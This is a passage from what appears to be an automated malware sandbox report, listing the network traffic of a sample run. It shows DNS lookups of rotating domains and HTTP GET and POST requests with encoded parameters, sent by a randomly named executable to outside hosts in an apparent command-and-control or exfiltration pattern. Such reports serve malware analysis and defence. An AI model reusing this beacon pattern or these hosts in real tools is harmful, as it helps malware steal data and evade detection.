Jul 3, 2024 18:54:23.051080942 CEST	49752	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:23.055552006 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.055664062 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.055732965 CEST	49752	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:23.437920094 CEST	49752	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:24.457354069 CEST	49753	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:24.462722063 CEST	80	49753	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:24.465607882 CEST	49753	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:24.469583988 CEST	49753	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:24.475313902 CEST	80	49753	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:25.381266117 CEST	80	49753	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:25.381289005 CEST	80	49753	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:25.381428957 CEST	49753	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:25.384943008 CEST	49753	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:25.389818907 CEST	80	49753	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:38.801609993 CEST	49754	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:38.807297945 CEST	80	49754	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:38.807372093 CEST	49754	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:38.809283018 CEST	49754	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:38.815323114 CEST	80	49754	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:39.578632116 CEST	80	49754	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:39.580806971 CEST	80	49754	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:39.580868959 CEST	49754	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:40.315351963 CEST	49754	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:41.331799030 CEST	49755	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:41.336735010 CEST	80	49755	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:41.336797953 CEST	49755	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:41.338901043 CEST	49755	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:41.343703985 CEST	80	49755	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:42.132993937 CEST	80	49755	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:42.133018017 CEST	80	49755	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:42.133167028 CEST	49755	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:42.844130039 CEST	49755	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:43.862538099 CEST	49756	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:43.867413998 CEST	80	49756	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:43.869498014 CEST	49756	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:43.873456001 CEST	49756	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:43.878297091 CEST	80	49756	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:43.878345966 CEST	80	49756	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:44.660573959 CEST	80	49756	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:44.660593033 CEST	80	49756	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:44.660650969 CEST	49756	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:45.375360012 CEST	49756	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:46.393785954 CEST	49757	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:46.399621964 CEST	80	49757	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:46.401809931 CEST	49757	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:46.405517101 CEST	49757	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:46.410991907 CEST	80	49757	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:47.172274113 CEST	80	49757	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:47.172409058 CEST	80	49757	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:47.172472954 CEST	49757	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:47.175287962 CEST	49757	80	192.168.2.6	185.151.30.199
Jul 3, 2024 18:54:47.180371046 CEST	80	49757	185.151.30.199	192.168.2.6
Jul 3, 2024 18:54:52.389606953 CEST	49759	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:52.394427061 CEST	80	49759	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:52.397938967 CEST	49759	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:52.401451111 CEST	49759	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:52.408220053 CEST	80	49759	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:53.154165983 CEST	80	49759	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:53.154268026 CEST	80	49759	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:53.154390097 CEST	49759	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:53.906759024 CEST	49759	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:54.925578117 CEST	49760	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:54.931425095 CEST	80	49760	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:54.931515932 CEST	49760	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:54.933614016 CEST	49760	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:54.938467026 CEST	80	49760	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:55.659480095 CEST	80	49760	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:55.660450935 CEST	80	49760	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:55.660614967 CEST	49760	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:56.439358950 CEST	49760	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:57.457545042 CEST	49761	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:57.462909937 CEST	80	49761	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:57.462981939 CEST	49761	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:57.465045929 CEST	49761	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:57.469907045 CEST	80	49761	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:57.470007896 CEST	80	49761	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:58.193600893 CEST	80	49761	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:58.193804026 CEST	80	49761	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:58.193895102 CEST	49761	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:58.969074965 CEST	49761	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:59.987663984 CEST	49762	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:59.992835999 CEST	80	49762	142.250.185.83	192.168.2.6
Jul 3, 2024 18:54:59.993580103 CEST	49762	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:54:59.995413065 CEST	49762	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:55:00.000164986 CEST	80	49762	142.250.185.83	192.168.2.6
Jul 3, 2024 18:55:00.746496916 CEST	80	49762	142.250.185.83	192.168.2.6
Jul 3, 2024 18:55:00.747028112 CEST	80	49762	142.250.185.83	192.168.2.6
Jul 3, 2024 18:55:00.747078896 CEST	49762	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:55:00.749320984 CEST	49762	80	192.168.2.6	142.250.185.83
Jul 3, 2024 18:55:00.754115105 CEST	80	49762	142.250.185.83	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 18:52:30.990633011 CEST	62213	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:52:31.007452965 CEST	53	62213	1.1.1.1	192.168.2.6
Jul 3, 2024 18:52:46.737943888 CEST	65003	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:52:46.799369097 CEST	53	65003	1.1.1.1	192.168.2.6
Jul 3, 2024 18:53:00.128887892 CEST	60416	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:53:00.701769114 CEST	53	60416	1.1.1.1	192.168.2.6
Jul 3, 2024 18:53:14.113137960 CEST	49998	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:53:14.196428061 CEST	53	49998	1.1.1.1	192.168.2.6
Jul 3, 2024 18:53:27.660072088 CEST	55257	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:53:27.801043987 CEST	53	55257	1.1.1.1	192.168.2.6
Jul 3, 2024 18:53:41.050534964 CEST	57413	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:53:41.063848972 CEST	53	57413	1.1.1.1	192.168.2.6
Jul 3, 2024 18:53:49.131145954 CEST	60633	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:53:49.592504025 CEST	53	60633	1.1.1.1	192.168.2.6
Jul 3, 2024 18:54:03.254476070 CEST	54751	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:54:03.373831987 CEST	53	54751	1.1.1.1	192.168.2.6
Jul 3, 2024 18:54:16.645191908 CEST	49355	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:54:16.849212885 CEST	53	49355	1.1.1.1	192.168.2.6
Jul 3, 2024 18:54:30.394635916 CEST	60319	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:54:30.616265059 CEST	53	60319	1.1.1.1	192.168.2.6
Jul 3, 2024 18:54:38.676717043 CEST	51997	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:54:38.798491955 CEST	53	51997	1.1.1.1	192.168.2.6
Jul 3, 2024 18:54:52.193414927 CEST	56303	53	192.168.2.6	1.1.1.1
Jul 3, 2024 18:54:52.382961035 CEST	53	56303	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 18:52:30.990633011 CEST	192.168.2.6	1.1.1.1	0xdfab	Standard query (0)	www.le-kuk.shop	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:52:46.737943888 CEST	192.168.2.6	1.1.1.1	0xd666	Standard query (0)	www.limpiezasbarcelo.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:00.128887892 CEST	192.168.2.6	1.1.1.1	0xae22	Standard query (0)	www.top65s.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:14.113137960 CEST	192.168.2.6	1.1.1.1	0x5b80	Standard query (0)	www.videos60.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:27.660072088 CEST	192.168.2.6	1.1.1.1	0x1df2	Standard query (0)	www.vertilehub.xyz	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:41.050534964 CEST	192.168.2.6	1.1.1.1	0x5639	Standard query (0)	www.theestrellastore.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:49.131145954 CEST	192.168.2.6	1.1.1.1	0x5672	Standard query (0)	www.xuzfceth.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:03.254476070 CEST	192.168.2.6	1.1.1.1	0xe140	Standard query (0)	www.hondamechanic.today	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:16.645191908 CEST	192.168.2.6	1.1.1.1	0x8e7f	Standard query (0)	www.primefindsstore.shop	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:30.394635916 CEST	192.168.2.6	1.1.1.1	0xdeec	Standard query (0)	www.ecurtiscustoms.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:38.676717043 CEST	192.168.2.6	1.1.1.1	0x98ab	Standard query (0)	www.salecost.co.uk	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:52.193414927 CEST	192.168.2.6	1.1.1.1	0x881c	Standard query (0)	www.bayviewcribbage.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 18:52:31.007452965 CEST	1.1.1.1	192.168.2.6	0xdfab	No error (0)	www.le-kuk.shop		89.31.143.90	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:52:46.799369097 CEST	1.1.1.1	192.168.2.6	0xd666	No error (0)	www.limpiezasbarcelo.com	limpiezasbarcelo.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 18:52:46.799369097 CEST	1.1.1.1	192.168.2.6	0xd666	No error (0)	limpiezasbarcelo.com		81.88.48.71	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:00.701769114 CEST	1.1.1.1	192.168.2.6	0xae22	No error (0)	www.top65s.com	lcmoji.lc301adbt.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 18:53:00.701769114 CEST	1.1.1.1	192.168.2.6	0xae22	No error (0)	lcmoji.lc301adbt.com		156.251.142.107	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:00.701769114 CEST	1.1.1.1	192.168.2.6	0xae22	No error (0)	lcmoji.lc301adbt.com		156.251.142.108	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:00.701769114 CEST	1.1.1.1	192.168.2.6	0xae22	No error (0)	lcmoji.lc301adbt.com		156.251.142.105	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:00.701769114 CEST	1.1.1.1	192.168.2.6	0xae22	No error (0)	lcmoji.lc301adbt.com		156.251.142.106	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:14.196428061 CEST	1.1.1.1	192.168.2.6	0x5b80	No error (0)	www.videos60.com	onstatic-pt.setupdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 18:53:14.196428061 CEST	1.1.1.1	192.168.2.6	0x5b80	No error (0)	onstatic-pt.setupdns.net		81.88.57.70	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:27.801043987 CEST	1.1.1.1	192.168.2.6	0x1df2	No error (0)	www.vertilehub.xyz		203.161.49.220	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:41.063848972 CEST	1.1.1.1	192.168.2.6	0x5639	Name error (3)	www.theestrellastore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:53:49.592504025 CEST	1.1.1.1	192.168.2.6	0x5672	No error (0)	www.xuzfceth.com		152.32.156.214	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:03.373831987 CEST	1.1.1.1	192.168.2.6	0xe140	No error (0)	www.hondamechanic.today		64.190.62.22	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:16.849212885 CEST	1.1.1.1	192.168.2.6	0x8e7f	No error (0)	www.primefindsstore.shop		23.105.172.12	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:30.616265059 CEST	1.1.1.1	192.168.2.6	0xdeec	Name error (3)	www.ecurtiscustoms.com	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:38.798491955 CEST	1.1.1.1	192.168.2.6	0x98ab	No error (0)	www.salecost.co.uk		185.151.30.199	A (IP address)	IN (0x0001)	false
Jul 3, 2024 18:54:52.382961035 CEST	1.1.1.1	192.168.2.6	0x881c	No error (0)	www.bayviewcribbage.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 18:54:52.382961035 CEST	1.1.1.1	192.168.2.6	0x881c	No error (0)	ghs.googlehosted.com		142.250.185.83	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.le-kuk.shop

www.limpiezasbarcelo.com

www.top65s.com

www.videos60.com

www.vertilehub.xyz

www.xuzfceth.com

www.hondamechanic.today

www.primefindsstore.shop

www.salecost.co.uk

www.bayviewcribbage.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49719	89.31.143.90	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:52:31.026048899 CEST	477	OUT	GET /obdd/?3pSl=bXiTJHhxyN&Z6ZTG=iAqH8h/tGKVhLv76hXtDkp/tsoNJZUwghhFRVhBlXKA5k0wUKDpGIsk5Z77aZpW07kzVnHl6/cD+xmMbGt3tKENSOXeInUOEjIwpy90PuGUlpE2byY+FLaYtfu+R+h2f+4odIwk= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.le-kuk.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:52:31.684258938 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 16:52:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: UD Webspace 3.2 Data Raw: 31 39 65 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 63 6f 6e 74 65 6e 74 3d 22 44 6f 6d 61 69 6e 20 72 65 67 69 73 74 72 69 65 72 74 20 62 65 69 20 75 6e 69 74 65 64 2d 64 6f 6d 61 69 6e 73 2e 64 65 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 44 6f 6d 61 69 6e 20 69 6d 20 4b 75 6e 64 65 6e 61 75 66 74 72 61 67 20 72 65 67 69 73 74 72 69 65 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 2c 68 74 6d 6c 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 56 65 72 64 61 6e 61 2c 73 61 6e 73 2d 73 65 72 [TRUNCATED] Data Ascii: 19e0<!DOCTYPE html><html lang="de"><head><meta name="description"content="Domain registriert bei united-domains.de"><meta http-equiv="Content-Type"content="text/html; charset=UTF-8"><title>Domain im Kundenauftrag registriert</title><style>body,html{height:100%;margin:0;padding:0;background-color:#fff;font-family:Arial,Verdana,sans-serif}body{text-align:center;background-color:#f0f2f3}.spacerTop{margin-top:40px}a:focus,a:hover,a:link,a:visited{margin:0;padding:0;border:none}.dvLink:focus,.dvLink:hover,.dvLink:link,.dvLink:visited{background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAJCAYAAAARml2dAAAAHklEQVQImWNgqDzxn6HyxH8GDACToIckhYLIEmgAAAHCOEFxKWXwAAAAAElFTkSuQmCC') right center no-repeat;padding-right:12px;border:0 none;text-decoration:none;font-weight:400;color:#0079c8}.dvLink:hover{text-decoration:underline}.dvLink.no-ico{background:0 0;padding:0}.logo-wrapper{width:100%;background-color:#fff;padding:55px 0}#logo{margin:0 auto;width:600px;height:50px;background-position:left [TRUNCATED]
Jul 3, 2024 18:52:31.684350014 CEST	1236	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 2c 30 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 Data Ascii: kground-size:contain,0 0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAUAAAAAyCAMAAAAa0/LmAAAARVBMVEUAAADw8vTf5/Dd3d3P2ujPz8+/zuHCwsKvwtmfttGxsbGPqsqampp/nsKMjIxni7d+fn5QeqxnZ2dAbqQwYp0XTpEAPYad8GA6AAAAAXRSTlMAQObYZgAAB8
Jul 3, 2024 18:52:31.684400082 CEST	448	IN	Data Raw: 6e 38 35 36 6d 69 48 4e 46 67 54 30 72 5a 6e 4f 76 45 37 32 6f 73 6f 6a 79 30 46 62 4b 48 66 6a 63 59 52 53 6f 75 6c 7a 56 62 68 7a 65 63 50 4b 4c 41 6e 74 51 39 6c 72 67 47 6b 64 55 4f 53 6b 6f 69 4f 63 43 38 62 49 37 48 71 4f 7a 78 45 65 37 78 Data Ascii: n856miHNFgT0rZnOvE72osojy0FbKHfjcYRSoulzVbhzecPKLAntQ9lrgGkdUOSkoiOcC8bI7HqOzxEe7xlEg70P2L0A9uX55FBsSHovMxsrPBbJzex4bQZG/K1D9KHDYr7HnAnFy8Dl9DjHw4c7f0yi4HNeda9UlgSYOqFcCH5/a7u8KFE8EPp2BlpjYsYFMs8N0HwWup67jDDSfFViTDFYpZa4IBCJscyiuCQxYMp8WOP/47f
Jul 3, 2024 18:52:31.684416056 CEST	1236	IN	Data Raw: 78 50 6f 31 58 35 41 65 42 71 78 69 65 33 61 45 38 52 59 59 56 2f 50 79 62 79 42 79 47 2b 55 6f 2b 45 4b 6a 69 35 78 34 69 64 76 54 78 6d 69 45 6a 41 52 38 4b 5a 41 2b 2b 52 42 67 46 41 6a 39 56 32 55 45 67 38 51 53 6d 65 43 61 4e 5a 6c 79 66 66 Data Ascii: xPo1X5AeBqxie3aE8RYYV/PybyByG+Uo+EKji5x4idvTxmiEjAR8KZA++RBgFAj9V2UEg8QSmeCaNZlyff643tidPIWcyGvQTfCCQ+FPrCwLdp/+nejItfookHCKSXIeYWhCDoOGfOoKpAUONxwaBoNQwR9fUc3bG2dTFMehwX7Xmle/GEU9ZPi+qUFs/SmrnOp/b29hwDK5BuDoQE1xkXh9+VDWx47Ng5+5YkytG/Py47ueqKM
Jul 3, 2024 18:52:31.684437037 CEST	83	IN	Data Raw: 46 54 6b 53 75 51 6d 43 43 27 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 74 65 78 74 2d 69 6e 64 65 6e 74 3a 2d 39 39 39 39 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 Data Ascii: FTkSuQmCC');overflow:hidden;text-indent:-9999px;font-size:0;color:rgba(255,255,255,
Jul 3, 2024 18:52:31.684451103 CEST	1236	IN	Data Raw: 30 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 23 6c 6f 67 6f 20 69 6d 67 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 2e 6c 6f 67 6f 2d 68 72 65 66 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 33 32 30 70 78 3b 68 65 69 67 Data Ascii: 0);text-align:left}#logo img{border:none}.logo-href{display:block;width:320px;height:50px}.header-wrapper{width:100%;background-color:#3e6994}.header{margin:0 auto;width:600px;padding:38px 0;text-align:left;font-size:14px}.title{margin:0;font-
Jul 3, 2024 18:52:31.684464931 CEST	1236	IN	Data Raw: 74 65 6e 2e 20 41 6c 73 20 4b 75 6e 64 65 20 76 6f 6e 20 75 6e 69 74 65 64 2d 64 6f 6d 61 69 6e 73 20 6b 26 6f 75 6d 6c 3b 6e 6e 65 6e 20 53 69 65 20 64 69 65 73 65 20 44 6f 6d 61 69 6e 20 69 6e 20 49 68 72 65 6d 20 3c 61 20 68 72 65 66 3d 22 68 Data Ascii: ten. Als Kunde von united-domains können Sie diese Domain in Ihrem <a href="https://www.united-domains.de/login/"class="dvLink no-ico"rel="nofollow noopener">Domain-Portfolio</a> jederzeit selbst online konfigurieren (z.B. Web-Weiterleitu
Jul 3, 2024 18:52:31.684494972 CEST	79	IN	Data Raw: 47 2e 20 3c 73 70 61 6e 3e 26 6e 62 73 70 3b 41 6c 6c 65 20 52 65 63 68 74 65 20 76 6f 72 62 65 68 61 6c 74 65 6e 2e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: G. <span> Alle Rechte vorbehalten.</span></div></div></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49723	81.88.48.71	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:52:46.816431999 CEST	754	OUT	POST /utkc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.limpiezasbarcelo.com Origin: http://www.limpiezasbarcelo.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 210 Referer: http://www.limpiezasbarcelo.com/utkc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 38 57 4b 53 5a 66 58 64 70 41 63 35 36 73 4f 77 7a 64 36 39 30 46 35 65 7a 51 72 70 31 77 34 4d 74 6b 4b 74 49 5a 61 79 6e 73 62 30 67 56 67 6c 74 38 64 69 2b 57 69 73 4c 4a 2b 78 6b 43 72 4a 55 32 4a 6b 38 4d 58 4b 48 53 6e 46 69 6e 4a 35 42 57 6e 4d 42 56 42 77 46 34 41 4a 2b 5a 33 34 4a 67 31 68 72 6f 49 51 59 32 37 4d 62 41 33 32 57 64 6c 62 4f 77 59 5a 56 73 50 4c 4d 52 6e 4d 30 33 6f 6f 55 4b 79 54 46 4b 64 43 4d 72 74 49 67 33 65 2f 31 35 50 51 68 79 4b 47 38 44 47 71 54 56 66 2b 2b 7a 64 50 32 4d 6e 76 4a 36 6e 6a 48 62 74 6a 43 79 58 6b 74 35 78 33 43 72 31 6f 4b 48 69 51 45 62 73 32 6b 66 6d 77 Data Ascii: Z6ZTG=8WKSZfXdpAc56sOwzd690F5ezQrp1w4MtkKtIZaynsb0gVglt8di+WisLJ+xkCrJU2Jk8MXKHSnFinJ5BWnMBVBwF4AJ+Z34Jg1hroIQY27MbA32WdlbOwYZVsPLMRnM03ooUKyTFKdCMrtIg3e/15PQhyKG8DGqTVf++zdP2MnvJ6njHbtjCyXkt5x3Cr1oKHiQEbs2kfmw
Jul 3, 2024 18:52:47.505155087 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 16:52:47 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 74 6b 63 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /utkc/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49724	81.88.48.71	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
